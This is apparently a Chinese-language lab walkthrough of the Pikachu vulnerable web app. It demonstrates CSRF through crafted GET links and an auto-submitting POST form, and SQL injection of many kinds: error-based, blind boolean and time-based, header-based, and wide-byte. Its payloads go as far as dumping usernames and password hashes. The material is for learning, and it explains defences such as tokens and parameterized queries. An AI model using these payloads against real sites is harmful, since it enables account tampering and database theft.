文章目录
CSRF
概述
举个栗子: 用户想要修改自己的账户信息,那么他的修改流程是这样的
登陆账户—>修改信息&点击提交—>修改成功
这其中有两个要求,第一账有户密码(登陆权限)、第二有修改信息的链接格式;现在如果有个攻击者想要修改用户的信息,就要先获得一个修改链接,修改其中信息(链接可以自己注册账户,抓修改信息包),然后让用户在登陆时点击这个链接,至此攻击完成。
上述是最简单的流程,实际上还会存在其他问题:
- 网站对于修改信息有没有多过多的验证,比如说手机验证码,token等
- 用户没有点击攻击链接,或者点了攻击链接,用户并不是登陆状态,攻击也不会成功
总的看来,漏洞利用并不是很容易, 当然,如果发现了一个XSS漏洞,则可以这样做: 注入XSS脚本(盗取cookie的脚本)的页面,拿到用户关键信息后自己修改用户信息。
这里可以看出CSRF和XSS的区别
- CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限
- XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止操作出现被伪造的情况,从而导致CSRF。比如:
- 对敏感信息的操作增加安全的token;
- 对敏感信息的操作增加安全的验证码;
- 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
CSRF-GET
跨站请求伪造(Cross-site request forgery)简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
GET的参数都是在url里面修改的,这样测试可以将要修改的东西写进url里由受害者访问,访问过后攻击就完成了。
首先获取下修改链接,注册账户,抓修改信息的包
抓到的修改信息的包,分析包信息,并没有如token之类的安全验证
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123000000&add=giaogiao&email=lucy%40pikachu.com&submit=submit HTTP/1.1
Host: pikachu-master:8890
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://pikachu-master:8890/vul/csrf/csrfget/csrf_get_edit.php
Cookie: PHPSESSID=2scm3ehko6qvbnj1a62uoghqk5
Upgrade-Insecure-Requests: 1
这个是修改链接:/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=55556666&add=giaogiao&email=lucy%40pikachu.com&submit=submit
重新构造加上网站名:http://pikachu-master:8890//vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=55556666&add=giaogiao&email=lucy%40pikachu.com&submit=submit
CSRF-POST
由于POST型不能通过伪造URL的方式进行攻击,这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导用户点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
抓的post修改数据包
POST //vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: pikachu-master:8890
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://pikachu-master:8890
Connection: close
Referer: http://pikachu-master:8890//vul/csrf/csrfpost/csrf_post_edit.php 漏洞地址
Cookie: PHPSESSID=gdik1ol3e1pt60a8169b9c3jc5
Upgrade-Insecure-Requests: 1
sex=girl&phonenum=5555485&add=giaogiao888&email=lucy%40pikachu.com&submit=submit
本地搭建了一个网站用来转发post表单到漏洞地址,网站地址:http://csrf-post:8894/index.html,index.html代码如下
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu-master:8890//vul/csrf/csrfpost/csrf_post_edit.php"> <!--漏洞地址-->
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="999999999" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
接下来只要让登录状态下的用户访问 http://csrf-post:8894/index.html 就可以完成攻击。
CSRF-TOKEN
查看token,看到提交方式是url提交,但是里多了token验证
GET //vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=123000000&add=giaogiao888&email=lucy%40pikachu.com&token=7060061088cfc779c8113985276&submit=submit HTTP/1.1
Host: pikachu-master:8890
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://pikachu-master:8890//vul/csrf/csrftoken/token_get_edit.php
Cookie: PHPSESSID=gdik1ol3e1pt60a8169b9c3jc5
Upgrade-Insecure-Requests: 1
由于带token的请求,每次都修改一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证,我们伪造的链接并不能实时获取验证信息,这样我们攻击链接就会失效了,即防止了csrf。
SQL注入
概述
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
- 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
- 使用参数化(Parameterized Query 或 Parameterized Statement);
- 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
数字型注入
字符型注入
观察发现是GET提交,猜测代码可能是$name = $_GET[‘sss’],select 列1,列2 from 表名 where name = ‘sss’,数据库中where 变量要带单引号;
构造payload:' or 1=1--+'
,'or 1=1#
都可以可以闭合就行
搜索型注入
看代还有个XSS,测试下: 'on 1=1 #' <script>alert(555)</script>
XX型注入
- 观察源码,没有过滤;
- 构造payload
') or 1=1--
注意最后是有一个空格的,不带空格的话--
会和sql中的一个单引号起作用。 -
参考
insert/update/delete注入
函数介绍
- 参考文档1
- 参考文档2
- 参考文档3
-
insert/update/delete
这三个函数属于操作函数,和select
查询函数不同,不能使用union
进行查询,通常采用报错返回来获取信息 - 报错函数1 :UpdateXML(xml_target,xpath_expr,new_xml)
updatexml()函数是更新xml文档的函数,语法updatexml(目标xml文档,xml路径,更新的内容)
- 报错函数2: ExtractValue(xml_frag, xpath_expr)
extractvalue() :对XML文档进行查询的函数,其实就是相当于我们熟悉的HTML文件中用
<div><p><a>
标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
- 报错函数3:Floor(x)
此函数返回不大于x的最大整数。
使用floor的话需要三个条件
– 运算里面要有count
– 运算里面要有group by
– 运算里面要有rand
注入原理
- 在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错,将xpath_expr路径中内容当作sql语句执行后结果和报错结果一同返回。
- floor()报错,需要count()、rand()、group by,三者缺一不可。
- floor(rand(0)*2)每次执行结果是基本固定的——011011…
- 在使用group by floor(rand(0)*2)创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,插入报错。
注入语句
1’ and UpdateXML(1,concat(’~’,database()),1)#
1’ and ExtractValue(1,concat(’~’,database()))#
insert注入
update注入
delete注入
fool获取版本号kobe ' or (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a )#
http header注入
直接替换掉 ua头数据 1' or updatexml(1,concat(0x7e,database()),0) or'
cookie注入
盲注(base on boolian/base on time)
盲注的概念:在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法再根据报错信息来进行注入的判断。即盲注。根据表现形式不同,分为based boolian(真假盲注)和based time(时间盲注)
base on boolian
基于boolian的盲注主要表现症状:
- 没有报错信息
- 不管是输入正确的还是错误的,这样我们注入思路就是通过and绑定到一个正确的输入上,借助and的一致性来帮助我们判断信息的正确性。
- 举个栗子
-
kobe
是正确的输入,可以得到正确结果,我们设置payloda:kobe ‘ and 1=1#
程序还是正确输出,因为1=1
为真,如果改成1=2
呢?程序输出错误,因为影响了kobe
的正确性 - 反过来想,这就可以帮助我们判断测试语句的正确性
验证一下
- 看源代码发现是错误被过滤掉了
- 构造payload:
kobe ' and (length(database())=7)#
,测试语句是为了判断读取的数据库长度是否为7
这样我们就可以构造各种测试函数,通过是否正确输出爆破一些信息
kobe’ and (ord(mid(database(),1,1))=112)# 可以看到数据库第1位ascii码为112,转成字符就是:p
base on time
- 时间盲注和布尔盲注类似,不过判断方式由是否能看到正确回显改为判断时间
kobe ' and if(length(database())=7,sleep(3),1)#
- 输入这个语句后可以看到,浏览器刷新框会一直转,这就是我们判断的依据
宽字节注入
参考:SQL注入进阶之1宽字节注入攻击(Pikachu漏洞练习平台)
参考:宽字节注入
概念
在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉
- url转码:
空格 -----> %20
' -----> %27
# -----> %23
\ -----> %5C
? -----> %df
举个例子
当我们注入语句写:id=1' and 1=1#
数据库语句:select * from user where id ='1\' and 1=1#'
,注入没有成功
换下注入语句:id=1%df' and 1=1#
数据库语句:select * from user where id ='1運' and 1=1#'
转换过程
’ -----> \ ’
%27 ----->%5c%27
单引号被转义了
%df’ -----> %df \ ’
%df%27 ----->%df%5c
%27 \ 被吃掉了
这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
测试
- 用burp suite 抓登陆包,构造payload:
1%df' or 1=1 #
-
1%df' union select 1,2 #
1%df' union select database(),2 #
-
1%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 #
- 查字段名:
1%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
- 查数据:
1%df' union select (select group_concat(username,0x3b,password) from pikachu.users),2#
得到的是md5值,点击解密